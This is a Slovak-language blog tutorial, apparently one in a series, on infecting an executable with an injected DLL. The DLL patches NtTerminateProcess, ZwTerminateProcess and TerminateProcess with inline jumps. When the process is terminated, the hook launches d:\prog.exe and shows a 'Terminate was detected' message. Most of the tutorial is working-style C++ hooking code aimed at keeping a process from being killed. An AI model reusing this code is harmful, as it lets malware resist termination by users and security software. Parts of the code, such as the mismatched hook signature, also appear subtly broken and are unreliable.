IAT hooking, detekujeme vypnutie aplikácie pod desktopom.
V tomto tutoriály sa budem odkazovať na články >> Inline Hooking << a >>IAT Hooking <<
Pseudo-algoritmus je následovný:
-- Vyberieme/napíšeme si súbor, ktorý chceme infikovať
-- Napíšeme si knižnicu, ktorá bude obsahovať IAT hooking (bypass) signálu na ukončenie programu
-- Napíšeme si injector, ktorý zavedie knižnicu do procesu daného súboru.
V hore-uvedených článkov sme si injector popísali, tak ako aj knižnicu ktorú chceme hooknúť do procesu.
V tomto článku si knižnicu trošku upravíme a pridáme hooknutie metód:
-> NtTerminateProcess (ntdll.dll)
-> ZwTerminateProcess (ntdll.dll)
-> TerminateProcess (kernel32.dll)
#include <windows.h> #include <iostream> #include "Convert.h" //hhttps://www.netbot.sk/sk/14-blog-headers/84-convert-h #include "WinAPI.h" //https://www.netbot.sk/sk/14-blog-headers/31-winapi
DWORD SetHook(LPVOID inputMethod, LPVOID outputMethod) { DWORD oldProtection = 0; bool resultvirtual = ::VirtualProtect(inputMethod, 7, PAGE_EXECUTE_READWRITE, &oldProtection);
if(resultvirtual == false) { return 0; }
*(BYTE*)(inputMethod) = 0xE9; *(long*)((LPBYTE)inputMethod+1) = ((DWORD)outputMethod - ((DWORD)inputMethod + 5)); resultvirtual = VirtualProtect(inputMethod, 7, oldProtection, &oldProtection); return resultvirtual;
}
NTSTATUS WINAPI HookedCall(HWND a, LPCSTR b, LPCSTR c, UINT d) { STARTUPINFO s_infoi; PROCESS_INFORMATION p_iinfoi; ZeroMemory( &s_infoi, sizeof(s_infoi) ); /*if( !CreateProcessA( NULL, "d:\\prog.exe", NULL, NULL, FALSE, FALSE, 0, NULL, NULL ,
(LPSTARTUPINFOA)&s_infoi, &p_iinfoi ) ) */ ::Diall_WinApi::WinApi::GetInstance()->ExecuteFile("d:\\prog.exe","",::Diall_WinApi::SelfWindow::SHOW); MessageBoxA(0, "Terminate was detected !", "Teerminating", MB_OK); return 0; } BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved) { switch (reason) { case DLL_PROCESS_ATTACH: SetHook(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTerminateProcess"),(LPVOID) HookedCall); SetHook(GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwTerminateProcess"),(LPVOID) HookedCall); SetHook(GetProcAddress(GetModuleHandleA("kernel32.dll"), "TerminateProcess"),(LPVOID) HookedCall);
break;
case DLL_PROCESS_DETACH: break;
case DLL_THREAD_ATTACH: break;
case DLL_THREAD_DETACH: break; }
return TRUE; }